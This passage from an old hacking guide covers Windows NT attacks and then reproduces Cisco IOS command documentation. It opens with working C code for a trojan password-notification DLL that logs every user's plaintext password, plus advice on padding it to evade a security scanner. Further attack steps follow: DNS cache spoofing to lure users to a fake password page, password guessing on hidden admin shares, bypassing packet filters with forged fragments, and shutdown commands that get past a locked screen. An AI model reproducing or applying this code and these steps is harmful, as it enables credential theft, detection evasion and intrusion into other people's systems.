  5366. LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid,
  5367.   struct UNI_STRING *passwd)
  5368. {
  5369.   DWORD wrote;
  5370.   WCHAR wbuf[200];
  5371.   char buf[512];
  5372.   char buf1[200];
  5373.   DWORD len;
  5374.  
  5375.   memcpy(wbuf, user->buff, user->len);
  5376.   len = user->len/sizeof(WCHAR);
  5377.   wbuf[len] = 0;
  5378.   wcstombs(buf1, wbuf, 199);
  5379.   sprintf(buf, "User = %s : ", buf1);
  5380.   WriteFile(fh, buf, strlen(buf), &wrote, 0);
  5381.  
  5382.   memcpy(wbuf, passwd->buff, passwd->len);
  5383.   len = passwd->len/sizeof(WCHAR);
  5384.   wbuf[len] = 0;
  5385.   wcstombs(buf1, wbuf, 199);
  5386.   sprintf(buf, "Password = %s : ", buf1);
  5387.   WriteFile(fh, buf, strlen(buf), &wrote, 0);
  5388.  
  5389.   sprintf(buf, "RID = %x\n", rid);
  5390.   WriteFile(fh, buf, strlen(buf), &wrote, 0);
  5391.  
  5392.   return 0L;
  5393. }
  5394. ------------- cut --------------
  5395.  
  5396. If you load this on a Primary Domain Controller, you'll get EVERYBODY'S password. You have to 
  5397. reboot the server after placing the trojan in %systenroot%\system32.
  5398.  
  5399. ISS (www.iss.net) has a security scanner for NT which will detect the trojan DLL, so you may 
  5400. wish to consider adding in extra junk to the above code to make the size of the compiled DLL 
  5401. match what the original was. This will prevent the current shipping version of ISS's NT scanner 
  5402. from picking up the trojan.
  5403.  
  5404. It should be noted that by default the group Everyone has default permissions of "Change" in 
  5405. %systemroot\system32, so any DLL that is not in use by the system could be replaced with a 
  5406. trojan DLL that does something else.
  5407.  
  5408. [11.1.3] What about spoofin DNS against NT?
  5409.  
  5410. By forging UDP packets, NT name server caches can be compromised. If recursion is allowed on 
  5411. the name server, you can do some nasty things. Recursion is when a server receives a name 
  5412. server lookup request for a zone or domain for which is does not serve. This is typical how
  5413. most setups for DNS are done.
  5414.  
  5415. So how do we do it? We will use the following example:
  5416.  
  5417. We are root on ns.nmrc.org, IP 10.10.10.1. We have pirate.nmrc.org with an address of 
  5418. 10.10.10.2, and bait.nmrc.org with an address of 10.10.10.3. Our mission? Make the users at 
  5419. lame.com access pirate.nmrc.org when they try to access www.lamer.net.
  5420.  
  5421. Okay, assume automation is at work here to make the attack smoother...
  5422.  
  5423. - DNS query is sent to ns.lame.com asking for address of bait.nmrc.org.
  5424. - ns.lame.com asks ns.nmrc.org what the address is.
  5425. - The request is sniffed, and the query ID number is obtained from the
  5426. request packet.
  5427. - DNS query is sent to ns.lame.com asking for the address of www.lamer.net.
  5428. - Since we know the previous query ID number, chances are the next query
  5429. ID number will be close to that number.
  5430. - We send spoofed DNS replies with several different query ID numbers. 
  5431. These replies are spoofed to appear to come from ns.lamer.net, and state
  5432. that its address is 10.10.10.2.
  5433. - pirate.nmrc.org is set up to look like www.lamer.net, except maybe it
  5434. has a notice to "go to the new password page and set up an account and ID".
  5435. Odds are this new password is used by that lame.com user somewhere else...
  5436.  
  5437. With a little creativity, you can also do other exciting things like reroute (and make copies of) 
  5438. email, denial of service (tell lame.com that www.lamer.net doesn't exist anymore), and other fun 
  5439. things.
  5440.  
  5441. Supposedly Service Pack 3 fixes this.
  5442.  
  5443. [11.1.4] What about default shared folders?
  5444.  
  5445. The main thing to realize about shares is that there are a few that are invisible. Administrative 
  5446. shares are default accounts that cannot be removed. They have a $ at the end of their name. For 
  5447. example C$ is the administrative share for the C: partition, D$ is the administrative share
  5448. for the D: partition. WINNT$ is the root directory of the system files.
  5449.  
  5450. By default since logging is not enabled on failed attempts and the administrator doesn't get 
  5451. locked out from false attempts, you can try and try different passwords for the administrator 
  5452. account. You could also try a dictionary attack Once in, you can get at basically anything.
  5453.  
  5454. [11.1.5] How do I get around a packet filter-based firewall?
  5455.  
  5456. If the target NT box is behind a firewall that is doing packet filtering (which is not considered 
  5457. firewalling by many folks) and it does not have SP3 loaded it is possible to send it packets 
  5458. anyway. This involves sending decoy IP packet fragments with specially crafted headers that will 
  5459. be "reused" by the malicious IP packet fragments. This is due to a problem with the way NT's 
  5460. TCP/IP stack handles reassembling fragmented packets. As odd as this sounds, example code 
  5461. exists to prove it works. See the web page at http://www.dataprotect.com/ntfrag for details.
  5462.  
  5463. How does it bypass the packet filter? Typically packet filtering only drops the fragmented packet 
  5464. with the offset of zero in the header. The example source forges the headers to get around this, 
  5465. and NT happily reassembles what does arrive.
  5466.  
  5467. [11.1.6] What is NTFS?
  5468.  
  5469. NTFS is the Windows NT special file system. This file system is tightly integrated into Windows 
  5470. security -- it is what allows access levels to be set from the directory down to individual files within 
  5471. a directory.
  5472.  
  5473. [11.1.7] Are there are vulnerabilities to NTFS and access controls?
  5474.  
  5475. Not so much vulnerabilities as there are quirks -- quirks that can be exploited to a certain degree.
  5476.  
  5477. For example, let's say the system admin has built a home directory for you on the server, but has 
  5478. disallowed the construction of directories or files that you wish to make available to the group 
  5479. Everyone. You are wanting to make this special directory so that you can easily retrieve some 
  5480. hack tools but you are cut off. However, if the sys admin left you as the owner of the home 
  5481. directory, you can go in and alter its permissions. This is because as long as you are the owner or 
  5482. Administrator you still control the file. Oh sure, you may get a few complaints from the system 
  5483. when you are doing it, but it can be done.
  5484.  
  5485. Since NTFS has security integrated into it, there are not too many ways around it. The main one 
  5486. requires access to the physical system. Boot up the system on a DOS diskette, and use 
  5487. NTFSDOS.EXE. It will allow you to access an NTFS volume bypassing security.
  5488.  
  5489. The last quirk is that if you have a directory with Full Control instead of RWXDPO permissions, 
  5490. then you get a hidden permission called File Delete Child. FDC cannot be removed. This means 
  5491. that all members of the group Everyone can delete any read-only file in the directory. Depending 
  5492. on what the directory contains, a hacker can replace a file with a trojan.
  5493.  
  5494. [11.1.8] How is file and directory security enforced?
  5495.  
  5496. Since files and directories are considered objects (same as services), the security is managed at 
  5497. an "object" level.
  5498.  
  5499. An access-control list (ACL) contains information that controls access to an object or controls 
  5500. auditing of attempts to access an object. It begins with a header contains information pertaining to 
  5501. the entire ACL, including the revision level, the size of the ACL, and the number of access-control
  5502. entries (ACEs) in the list. 
  5503.  
  5504. After the header is a list of ACEs. Each ACE specifies a trustee, a set of access rights, and flags 
  5505. that dictate whether the access rights are allowed, denied, or audited for the trustee. A trustee 
  5506. can be a user account, group account, or a logon account for a service program. 
  5507.  
  5508. A security descriptor can contain two types of ACLs: a discretionary ACL (DACL) and a system 
  5509. ACL (SACL). 
  5510.  
  5511. In a DACL, each ACE specifies the types of access that are allowed or denied for a specified 
  5512. trustee. An object's owner controls the information in the object's DACL. For example, the owner 
  5513. of a file can use a DACL to control which users can have access to the file, and which users are 
  5514. denied access. 
  5515.  
  5516. If the security descriptor for an object does not have a DACL, the object is not protected and the 
  5517. system allows all attempts to access the object. However, if an object has a DACL that contains 
  5518. no ACEs, the DACL does not grant any access rights. In this case, the system denies all attempts 
  5519. to access the object. 
  5520.  
  5521. In a SACL, each ACE specifies the types of access attempts by a specified trustee that cause the 
  5522. system to generate audit records in the system event log. A system administrator controls the 
  5523. information in the object's SACL. An ACE in a SACL can generate audit records when an access 
  5524. attempt fails, when it succeeds, or both.
  5525.  
  5526. To keep track of the individual object, a Security Identifier (SID) uniquely identify a user or a 
  5527. group.
  5528.  
  5529. A SID contains:
  5530.  
  5531.  - User and group security descriptors 
  5532.  - 48-bit ID authority 
  5533.  - Revision level 
  5534.  - Variable subauthority values 
  5535.  
  5536. A privilege is used to control access to a service or object more strictly than is normal with 
  5537. discretionary access control. Privileges provide access to services rarely needed by most users. 
  5538. For example, one type of privilege might give access for backups and restorals, another might 
  5539. allow the system time to be changed.
  5540.  
  5541. [11.1.9] Once in, how can I do all that GUI stuff?
  5542.  
  5543. The main problem is adjusting NT file security attributes. Some utilities are available with NT that 
  5544. can be used, but I'd recommend using the NT Command Line Security Utilities. They include:
  5545.  
  5546. saveacl.exe  - saves file, directory and ownership permissions to a file
  5547. restacl.exe  - restores file permissions and ownership from a saveacl file
  5548. listacl.exe  - lists file permissions in human readable format
  5549. swapacl.exe  - swaps permissions from one user or group to another
  5550. grant.exe    - grants permissions to users/groups on files
  5551. revoke.exe   - revokes permissions to users/groups on files
  5552. igrant.exe   - grants permisssions to users/groups on directories
  5553. irevoke.exe  - revokes permissions to users/groups on directories
  5554. setowner.exe - sets the ownership of files and directories
  5555. nu.exe       - 'net use' replacement, shows the drives you're connected to
  5556.  
  5557. The latest version can be found at:
  5558.  
  5559. ftp://ftp.netcom.com/pub/wo/woodardk/">ftp://ftp.netcom.com/pub/wo/woodardk/
  5560.  
  5561. [11.2.0] How do I bypass the screen saver?
  5562.  
  5563. If a user has locked their local workstation using CTRL+ALT+DEL, and you can log in as an 
  5564. administrator, you will have a window of a few seconds where you will see the user's desktop, 
  5565. and even manipulate things. This trick works on NT 3.5 and 3.51, unless the latest service pack 
  5566. has been loaded.
  5567.  
  5568. If the service pack has been loaded, but it's still 3.X, try the following.
  5569.  
  5570.  - From another NT workstation, type the following command:
  5571.  
  5572.      shutdown \\<target_computer> /t:30
  5573.  
  5574.  - This will start a 30 second shutdown on the target and a Security
  5575.    window will pop up.
  5576.  
  5577.  - Cancel the shutdown with the following command:
  5578.  
  5579.      shutdown \\<target_computer> /a 
  5580.  
  5581.  - The screen saver will kick back in.
  5582.  
  5583.  - Wiggle the mouse on the target. The screen will go blank.
  5584.  
  5585.  - Now do a ctrl-alt-del on the target.
  5586.  
  5587.  - An NT Security window will appear. Select cancel.
  5588.  
  5589.  - You are now at the Program Manager.
  5590.  
  5591. [11.2.1] How can tell if its an NT box?
  5592.  
  5593. Hopefully it is a web server, and they've simply stated proudly "we're running NT", but don't 
  5594. expect that...
  5595.  
  5596. Port scanning will find some. Typically you'll see port 135 open. This is no guarantee it's not 
  5597. Windows 95, however. Using Samba you should be able to connect and query for the existence 
  5598. of HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT and then check 
  5599. \CurrentVersion\CurrentVersion to determine the version running. If guest is enabled, try this first 
  5600. as Everyone has read permissions here by default.
  5601.  
  5602. Port 137 is used for running NetBios over IP, and since in the Windows world NetBios is used, 
  5603. certainly you can expect port 137 to be open if IP is anywhere in use around NT.
  5604.  
  5605. Another possible indication is checking for port 139. This tells you your target is advertising an 
  5606. SMB resource to share info, but it could be any number of things, such as a Windows 95 machine 
  5607. or even Windows for Workgroups. These may not be entirely out of the question as potential
  5608. targets, but if you are after NT you will have to use a combination of the aforementioned 
  5609. techniques coupled with some common sense.
  5610.  
  5611. To simplify this entire process, Secure Networks Inc. has a freeware utility called NetBios 
  5612. Auditing Tool. This tool's intent is to test NetBios file sharing configurations and passwords on 
  5613. remote systems. 
  5614.  
  5615. [11.2.2] What exactly does the NetBios Auditing Tool do?
  5616.  
  5617. Developed by Secure Networks Inc., it comes in pre-compiled Win32 binary form as well as the 
  5618. complete source code. It is the "SATAN" of NetBios based systems.
  5619.  
  5620. Here is a quote from Secure Networks Inc about the product -
  5621.  
  5622. "The NetBIOS Auditing Tool (NAT) is designed to explore the NETBIOS file-sharing services 
  5623. offered by the target system.  It implements a stepwise approach to gather information and 
  5624. attempt to obtain file system-level access as though it were a legitimate local client.
  5625.  
  5626. The major steps are as follows:
  5627.  
  5628. A UDP status query is sent to the target, which usually elicits a reply containing the Netbios 
  5629. "computer name".  This is needed to establish a session.  The reply also can contain other 
  5630. information such as the workgroup and account names of the machine's users.  This part of the 
  5631. program needs root privilege to listen for replies on UDP port 137, since the reply is usually sent 
  5632. back to UDP port 137 even if the original query came from some different port.
  5633.  
  5634. TCP connections are made to the target's Netbios port [139], and session requests using the 
  5635. derived computer name are sent across. Various guesses at the computer name are also used, in 
  5636. case the status query failed or returned incomplete information.  If all such attempts to establish a 
  5637. session fail, the host is assumed invulnerable to NETBIOS attacks even if TCP port 139 was 
  5638. reachable.
  5639.  
  5640. Provided a connection is established Netbios "protocol levels" are now negotiated across the new 
  5641. connection.  This establishes various modes and capabilities the client and server can use with 
  5642. each other, such as password encryption and if the server uses user-level or share-level Security.  
  5643. The usable protocol level is deliberately limited to LANMAN version 2 in this case, since that 
  5644. protocol is somewhat simpler and uses a smaller password keyspace than NT.
  5645.  
  5646. If the server requires further session setup to establish credentials, various defaults are 
  5647. attempted.  Completely blank usernames and passwords are often allowed to set up "guest" 
  5648. connections to a server; if this fails then guesses are tried using fairly standard account names 
  5649. such as ADMINISTRATOR, and some of the names returned from the status query.  Extensive 
  5650. username/password checking is NOT done at this point, since the aim is just to get the session 
  5651. established, but it should be noted that if this phase is reached at all MANY more guesses can be 
  5652. attempted and likely without the owner of the target being immediately aware of it.
  5653.  
  5654. Once the session is fully set up, transactions are performed to collect more information about the 
  5655. server including any file system "shares" it offers.
  5656.  
  5657. Attempts are then made to connect to all listed file system shares and some potentially unlisted 
  5658. ones.  If the server requires passwords for the shares, defaults are attempted as described above 
  5659. for session setup.  Any successful connections are then explored for writeability and some well-
  5660. known file-naming problems [the ".." class of bugs].
  5661.  
  5662. If a NETBIOS session can be established at all via TCP port 139, the target is declared 
  5663. "vulnerable" with the remaining question being to what extent.  Information is collected under the 
  5664. appropriate vulnerability at most of these steps, since any point along the way be blocked by the 
  5665. Security configurations of the target.  Most Microsoft-OS based servers and Unix SAMBA will 
  5666. yield computer names and share lists, but not allow actual file-sharing connections without
  5667. a valid username and/or password.  A remote connection to a share is therefore a possibly 
  5668. serious Security problem, and a connection that allows WRITING to the share almost certainly so.
  5669. Printer and other "device" services offered by the server are currently ignored."
  5670.  
  5671. If you need more info on NAT, try looking at this web location: 
  5672.  
  5673.     http://www.secnet.com/ntinfo/ntaudit.html
  5674.     http://www.rhino9.org
  5675.  
  5676. [12.0.0] Cisco Routers and their configuration
  5677.  
  5678. Many many hackers and security professionals alike take routers for granted. Well, I have a news 
  5679. flash for you, if your routers go down, so does your network. We have included this section to 
  5680. attempt to educate system administrators on configuring cisco routers. Keep in mind that cisco is 
  5681. to date, the most widely used and common router. And for good reason, itÆs a damn good router. 
  5682. Kudos to Cisco for making an excellent product. (NOTE: The rhino9 team did not sell, or make a 
  5683. profit off of this publication in any way, shape or form.) The information below was retrieved from 
  5684. the Cisco website (www.cisco.com). Copyright 1988-1997 ⌐ Cisco Systems Inc.
  5685.  
  5686. Many times, routers will not have passwords configured (this is mainly due to ignorant 
  5687. administratorsà HEY.. Hire someone that knows what theyre doingà like a security professional 
  5688. or a Cisco Engineerà. Geeesh.)
  5689.  
  5690.  
  5691. [12.0.1] User Interface Commands
  5692. This chapter describes the commands used to enter and exit the various Cisco Internetwork 
  5693. Operating System (Cisco IOS) configuration command modes. It provides a description of the 
  5694. help command and help features, lists the command editing keys and functions, and details the 
  5695. command history feature. 
  5696. You can abbreviate the syntax of Cisco IOS configuration commands. The software recognizes a 
  5697. command when you enter enough characters of the command to uniquely identify it. 
  5698. For user interface task information and examples, see the "Understanding the User Interface" 
  5699. chapter of the Configuration Fundamentals Configuration Guide. 
  5700.  
  5701. [12.0.2] disable 
  5702. To exit privileged EXEC mode and return to user EXEC mode, enter the disable EXEC 
  5703. command. 
  5704. disable [level] 
  5705. Syntax Description
  5706. level     (Optional) Specifies the user-privilege level.     
  5707.  
  5708. Note The disable command is associated with privilege level 0. If you configure AAA 
  5709. authorization for a privilege level greater than 0, this command will not be included in the 
  5710. command set for that privilege level. 
  5711.  
  5712. Command Mode
  5713. EXEC 
  5714. Usage Guidelines
  5715. This command first appeared in Cisco IOS Release 10.0. 
  5716. Use this command with the level option to reduce the user-privilege level. If a level is not 
  5717. specified, it defaults to the user EXEC mode, which is level 1. 
  5718. Example
  5719. In the following example, entering the disable command causes the system to exit privileged 
  5720. EXEC mode and return to user EXEC mode as indicated by the angle bracket (>): 
  5721. Router# disable
  5722. Router>
  5723. Related Command
  5724. enable 
  5725.  
  5726. [12.0.3] editing 
  5727. To enable enhanced editing mode for a particular line, use the editing line configuration 
  5728. command. To disable the enhanced editing mode, use the no form of this command. 
  5729. editing 
  5730. no editing 
  5731. Syntax Description
  5732. This command has no arguments or keywords. 
  5733. Default
  5734. Enabled 
  5735. Command Mode
  5736. Line configuration 
  5737. Usage Guidelines
  5738. This command first appeared in Cisco IOS Release 10.0. 
  5739.  
  5740. Keys     Function     
  5741. Tab     Completes a partial command name entry. When you enter a unique set of characters 
  5742. and press the Tab key, the system completes the command name. If you enter a set of 
  5743. characters that could indicate more than one command, the system beeps to indicate an error. 
  5744. Enter a question mark (?) immediately following the partial command (no space). The system 
  5745. provides a list of commands that begin with that string.     
  5746. Delete or Backspace     Erases the character to the left of the cursor.     
  5747. Return     At the command line, pressing the Return key performs the function of processing a 
  5748. command. At the "---More---" prompt on a terminal screen, pressing the Return key scrolls down 
  5749. a line.     
  5750. Space Bar     Allows you to see more output on the terminal screen. Press the space bar when 
  5751. you see the line "---More---" on the screen to display the next screen.     
  5752. Left Arrow     Moves the cursor one character to the left. When you enter a command that 
  5753. extends beyond a single line, you can press the Left Arrow key repeatedly to scroll back toward 
  5754. the system prompt and verify the beginning of the command entry.     
  5755. Right Arrow1     Moves the cursor one character to the right.     
  5756. Up Arrow1 or Ctrl-P     Recalls commands in the history buffer, beginning with the most recent 
  5757. command. Repeat the key sequence to recall successively older commands.     
  5758. Down Arrow1 or 
  5759. Ctrl-N     Return to more recent commands in the history buffer after recalling commands with the 
  5760. Up Arrow or Ctrl-P. Repeat the key sequence to recall successively more recent commands.     
  5761. Ctrl-A     Moves the cursor to the beginning of the line.     
  5762. Ctrl-B     Moves the cursor back one character.     
  5763. Ctrl-D     Deletes the character at the cursor.     
  5764. Ctrl-E     Moves the cursor to the end of the command line.     
  5765. Ctrl-F     Moves the cursor forward one character.     
  5766. Ctrl-K     Deletes all characters from the cursor to the end of the command line.     
  5767. Ctrl-L and Ctrl-R     Redisplays the system prompt and command line.     
  5768. Ctrl-T     Transposes the character to the left of the cursor with the character located at the cursor. 
  5769.     
  5770. Ctrl-U and Ctrl-X     Deletes all characters from the cursor back to the beginning of the 
  5771. command line.     
  5772. Ctrl-V and Esc Q     Inserts a code to indicate to the system that the keystroke immediately 
  5773. following should be treated as a command entry, not as an editing key.     
  5774. Ctrl-W     Deletes the word to the left of the cursor.     
  5775. Ctrl-Y     Recalls the most recent entry in the delete buffer. The delete buffer contains the last ten 
  5776. items you have deleted or cut. Ctrl-Y can be used in conjunction with Esc Y.     
  5777. Ctrl-Z     Ends configuration mode and returns you to the EXEC prompt.     
  5778. Esc B     Moves the cursor back one word.     
  5779. Esc C     Capitalizes the word from the cursor to the end of the word.     
  5780. Esc D     Deletes from the cursor to the end of the word.     
  5781. Esc F     Moves the cursor forward one word.     
  5782. Esc L     Changes the word to lowercase at the cursor to the end of the word.     
  5783. Esc U     Capitalizes from the cursor to the end of the word.     
  5784. Esc Y     Recalls the next buffer entry. The buffer contains the last ten items you have deleted. 
  5785. Press Ctrl-Y first to recall the most recent entry. Then press Esc Y up to nine times to recall the 
  5786. remaining entries in the buffer. If you bypass an entry, continue to press Esc Y to cycle back to it.     
  5787.  
  5788.  The arrow keys function only with ANSI-compatible terminals.
  5789.  
  5790. Key     Function     
  5791. Delete or Backspace     Erases the character to the left of the cursor.     
  5792. Ctrl-W     Erases a word.     
  5793. Ctrl-U     Erases a line.     
  5794. Ctrl-R     Redisplays a line.     
  5795. Ctrl-Z     Ends configuration mode and returns to the EXEC prompt.     
  5796. Return     Executes single-line commands.     
  5797. Example
  5798. In the following example, enhanced editing mode is disabled on line 3: 
  5799. line 3
  5800. no editing
  5801. Related Command
  5802. A dagger (å) indicates that the command is documented outside this chapter. 
  5803. terminal editing å 
  5804.  
  5805.  
  5806. [12.0.4] enable 
  5807. To enter privileged EXEC mode, use the enable EXEC command. 
  5808. enable [level] 
  5809. Syntax Description
  5810. level     (Optional) Privileged level on which to log in.     
  5811.  
  5812. Note The enable command is associated with privilege level 0. If you configure AAA 
  5813. authorization for a privilege level greater than 0, this command will not be included in the 
  5814. command set for that privilege level. 
  5815.  
  5816. Command Mode
  5817. EXEC 
  5818. Usage Guidelines
  5819. This command first appeared in Cisco IOS Release 10.0. 
  5820. Because many of the privileged commands set operating parameters, privileged access should 
  5821. be password-protected to prevent unauthorized use. If the system administrator has set a 
  5822. password with the enable password global configuration command, you are prompted to enter it 
  5823. before being allowed access to privileged EXEC mode. The password is case sensitive. 
  5824. If an enable password has not been set, enable mode only can be accessed from the router 
  5825. console. If a level is not specified, it defaults to the privileged EXEC mode, which is level 15. 
  5826. Example
  5827. In the following example, the user enters the enable command and is prompted to enter a 
  5828. password. The password is not displayed on the screen. After the user enters the correct 
  5829. password, the system enters privileged command mode as indicated by the pound sign (#). 
  5830. Router> enable
  5831. Password:
  5832. Router#
  5833. Related Commands
  5834. A dagger (å) indicates that the command is documented outside this chapter. 
  5835. disable 
  5836. enable password å 
  5837.  
  5838.  
  5839. [12.0.5] end 
  5840. To exit configuration mode, or any of the configuration submodes, use the end global 
  5841. configuration command. 
  5842. end 
  5843. Syntax Description
  5844. This command has no arguments or keywords. 
  5845. Command Mode
  5846. Global configuration 
  5847. Usage Guidelines
  5848. This command first appeared in Cisco IOS Release 10.0. 
  5849. You can also press Ctrl-Z to exit configuration mode. 
  5850. Example
  5851. In the following example, the name is changed to george using the hostname global 
  5852. configuration command. Entering the end command causes the system to exit configuration 
  5853. mode and return to EXEC mode. 
  5854. Router(config)# hostname george
  5855. george(config)# end
  5856. george#
  5857. Related Command
  5858. A dagger (å) indicates that the command is documented outside this chapter. 
  5859. hostname å 
  5860.  
  5861.  
  5862. [12.0.6] exit 
  5863. To exit any configuration mode or close an active terminal session and terminate the EXEC, use 
  5864. the exit command at the system prompt. 
  5865. exit 
  5866. Syntax Description
  5867. This command has no arguments or keywords. 
  5868. Command Mode
  5869. Available in all command modes. 
  5870. Usage Guidelines
  5871. This command first appeared in Cisco IOS Release 10.0. 
  5872. Use the exit command at the EXEC levels to exit the EXEC mode. Use the exit command at the 
  5873. configuration level to return to privileged EXEC mode. Use the exit command in interface, line, 
  5874. router, IPX-router, and route-map command modes to return to global configuration mode. Use 
  5875. the exit command in subinterface configuration mode to return to interface configuration mode. 
  5876. You also can press Ctrl-Z, or use the end command, from any configuration mode to return to 
  5877. privileged EXEC mode. 
  5878.  
  5879. Note The exit command is associated with privilege level 0. If you configure AAA authorization 
  5880. for a privilege level greater than 0, this command will not be included in the command set for that 
  5881. privilege level. 
  5882.  
  5883. Examples
  5884. In the following example, the user exits subinterface configuration mode to return to interface 
  5885. configuration mode: 
  5886. Router(config-subif)# exit
  5887. Router(config-if)#
  5888. The following example shows how to exit an active session. 
  5889. Router> exit
  5890. Related Commands
  5891. A dagger (å) indicates that the command is documented outside this chapter. 
  5892. disconnect å 
  5893. end 
  5894. logout å 
  5895.  
  5896.  
  5897. [12.0.7] full-help 
  5898. To get help for the full set of user-level commands, use the full-help command. 
  5899. full-help 
  5900. Syntax Description
  5901. This command has no arguments or keywords. 
  5902. Default
  5903. Disabled 
  5904. Command Mode
  5905. Available in all command modes. 
  5906. Usage Guidelines
  5907. This command first appeared in Cisco IOS Release 10.0. 
  5908. The full-help command enables (or disables) an unprivileged user to see all of the help 
  5909. messages available. It is used with the show? command. 
  5910. Example
  5911. The following example is output for show? with full-help disabled: 
  5912. Router>     show ?
  5913. clock            Display the system clock
  5914. history      Display the session command history
  5915. hosts          IP domain-name, lookup style, nameservers, and host table
  5916. sessions     Information about Telnet connections
  5917. terminal     Display terminal configuration parameters
  5918. users        Display information about terminal lines
  5919. version      System hardware and software status
  5920. Related Command
  5921. help 
  5922.  
  5923. [12.0.8] help 
  5924. To display a brief description of the help system, enter the help command. 
  5925. help 
  5926. Syntax Description
  5927. This command has no arguments or keywords. 
  5928. Command Mode
  5929. Available in all command modes. 
  5930. Usage Guidelines
  5931. This command first appeared in Cisco IOS Release 10.0. 
  5932. The help command provides a brief description of the context-sensitive help system. 
  5933. ? To list all commands available for a particular command mode, enter a question mark (?) 
  5934. at the system prompt. 
  5935. ? To obtain a list of commands that begin with a particular character string, enter the 
  5936. abbreviated command entry immediately followed by a question mark (?). This form of 
  5937. help is called word help, because it lists only the keywords or arguments that begin with 
  5938. the abbreviation you entered. 
  5939. ? To list a command's associated keywords or arguments, enter a question mark (?) in 
  5940. place of a keyword or argument on the command line. This form of help is called 
  5941. command syntax help, because it lists the keywords or arguments that apply based on 
  5942. the command, keywords, and arguments you have already entered. 
  5943.  
  5944. Note The help command is associated with privilege level 0. If you configure AAA authorization 
  5945. for a privilege level greater than 0, this command will not be included in the command set for that 
  5946. privilege level. 
  5947.  
  5948. Examples
  5949. Enter the help command for a brief description of the help system: 
  5950. Router# help
  5951. Help may be requested at any point in a command by entering
  5952. a question mark '?'. If nothing matches, the help list will
  5953. be empty and you must backup until entering a '?' shows the
  5954. available options.
  5955. Two styles of help are provided:
  5956. 1. Full help is available when you are ready to enter a
  5957.    command argument (e.g. 'show ?') and describes each possible
  5958.    argument.
  5959. 2. Partial help is provided when an abbreviated argument is entered
  5960.    and you want to know what arguments match the input
  5961.    (e.g. 'show pr?'.)
  5962. The following example shows how to use word help to display all the privileged EXEC commands 
  5963. that begin with the letters "co": 
  5964.  
  5965. Router# co?
  5966. configure  connect  copy
  5967.  
  5968. The following example shows how to use command syntax help to display the next argument of a 
  5969. partially complete access-list command. One option is to add a wildcard mask. The <cr> symbol 
  5970. indicates that the other option is to press Return to execute the command. 
  5971. Router(config)# access-list 99 deny 131.108.134.234 ?
  5972.   A.B.C.D  Mask of bits to ignore
  5973. <cr>
  5974. Related Command
  5975. full-help 
  5976.  
  5977. [12.0.9] history 
  5978. To enable the command history function, or to change the command history buffer size for a 
  5979. particular line, use the history line configuration command. To disable the command history 
  5980. feature, use the no form of this command. 
  5981. history [size number-of-lines] 
  5982. no history [size number-of-lines] 
  5983. Syntax Description
  5984. size number-of-lines     (Optional) Specifies the number of command lines that the system will 
  5985. record in its history buffer. The range is 0 to 256.     
  5986. Default
  5987. 10 lines 
  5988. Command Mode
  5989. Line configuration 
  5990. Usage Guidelines
  5991. This command first appeared in Cisco IOS Release 10.0. 
  5992. The history command without the size keyword and the number-of-lines argument enables the 
  5993. history function with the last buffer size specified or with the default of 10 lines, if there was not a 
  5994. prior setting. 
  5995. The no history command without the size keyword and the number-of lines argument disables 
  5996. the history feature but remembers the buffer size if it was something other than the default. The 
  5997. no history size command resets the buffer size to 10. 
  5998.  
  5999. Note The history size command only sets the size of the buffer; it does not reenable the history 
  6000. feature. If the no history command is used, the history command must be used to reenable this 
  6001. feature. 
  6002.  
  6003. The command history feature provides a record of EXEC commands that you have entered. This 
  6004. feature is particularly useful for recalling long or complex commands or entries, including access 
  6005. lists. 
  6006.  
  6007. Key     Functions     
  6008. Ctrl-P or Up Arrow Recalls commands in the history buffer in a backward sequence, beginning 
  6009. with the most recent command. Repeat the key sequence to recall successively older commands. 
  6010.     
  6011. Ctrl-N or Down Arrow1     Returns to more recent commands in the history buffer after recalling 
  6012. commands with Ctrl-P or the Up Arrow. Repeat the key sequence to recall successively more 
  6013. recent commands.     
  6014.  
  6015. 1 The arrow keys function only with ANSI-compatible terminals such as VT100s.
  6016. Example
  6017. In the following example, line 4 is configured with a history buffer size of 35 lines: 
  6018. line 4
  6019. history size 35
  6020. Related Commands
  6021. A dagger (å) indicates that the command is documented outside this chapter. 
  6022. show history 
  6023. terminal history size å 
  6024.  
  6025.  
  6026. [12.1.0] ip http access-class 
  6027. To assign an access-list to the http server used by the Cisco IOS ClickStart software or the Cisco 
  6028. Web browser interface, use the ip http access-class global configuration command. To remove 
  6029. the assigned access list, use the no form of this command. 
  6030. ip http access-class {access-list-number | name} 
  6031. no ip http access-class {access-list-number | name} 
  6032. Syntax Description
  6033. access-list-number     Standard IP access list number in the range 0 to 99, as configured by the 
  6034. access-list (standard) command.     
  6035. name     Name of a standard IP access list, as configured by the ip access-list command.     
  6036. Default
  6037. There is no access list applied to the http server. 
  6038. Command Mode
  6039. Global configuration 
  6040. Usage Guidelines
  6041. This command first appeared in Cisco IOS Release 11.2. 
  6042. If this command is configured, the specified access list is assigned to the http server. Before the 
  6043. http server accepts a connection, it checks the access list. If the check fails, the http server does 
  6044. not accept the request for a connection. 
  6045. Example
  6046. The following command assigns the access list named marketing to the http server: 
  6047. ip http access-class marketing
  6048. ip access-list standard marketing
  6049.  permit 192.5.34.0  0.0.0.255
  6050.  permit 128.88.0.0  0.0.255.255
  6051.  permit 36.0.0.0  0.255.255.255
  6052. ! (Note: all other access implicitly denied)
  6053. Related Commands
  6054. A dagger (å) indicates that the command is documented outside this chapter. 
  6055. ip access-list å 
  6056. ip http server 
  6057.  
  6058. [12.1.1] ip http port 
  6059. To specify the port to be used by the Cisco IOS ClickStart software or the Cisco Web browser 
  6060. interface, use the ip http port global configuration command. To use the default port, use the no 
  6061. form of this command. 
  6062. ip http port number 
  6063. no ip http port 
  6064. Syntax Description
  6065. number     Port number for use by ClickStart or the Cisco Web browser interface. The 
  6066. default is 80.     
  6067. Default
  6068. 80 
  6069. Command Mode
  6070. Global configuration 
  6071. Usage Guidelines
  6072. This command first appeared in Cisco IOS Release 11.2. 
  6073. Use this command if ClickStart or the Cisco Web browser interface cannot use port 80. 
  6074. Example
  6075. The following command configures the router so that you can use ClickStart or the Cisco Web 
  6076. browser interface via port 60: 
  6077. ip http server
  6078. ip http port 60
  6079. Related Command
  6080. ip http server 
  6081.  
  6082. [12.1.2] ip http server 
  6083. To enable a Cisco 1003, Cisco 1004, or Cisco 1005 router to be configured from a browser using 
  6084. the Cisco IOS ClickStart software, and to enable any router to be monitored or have its 
  6085. configuration modified from a browser using the Cisco Web browser interface, use the ip http 
  6086. server global configuration command. To disable this feature, use the no form of this command. 
  6087. ip http server 
  6088. no ip http server 
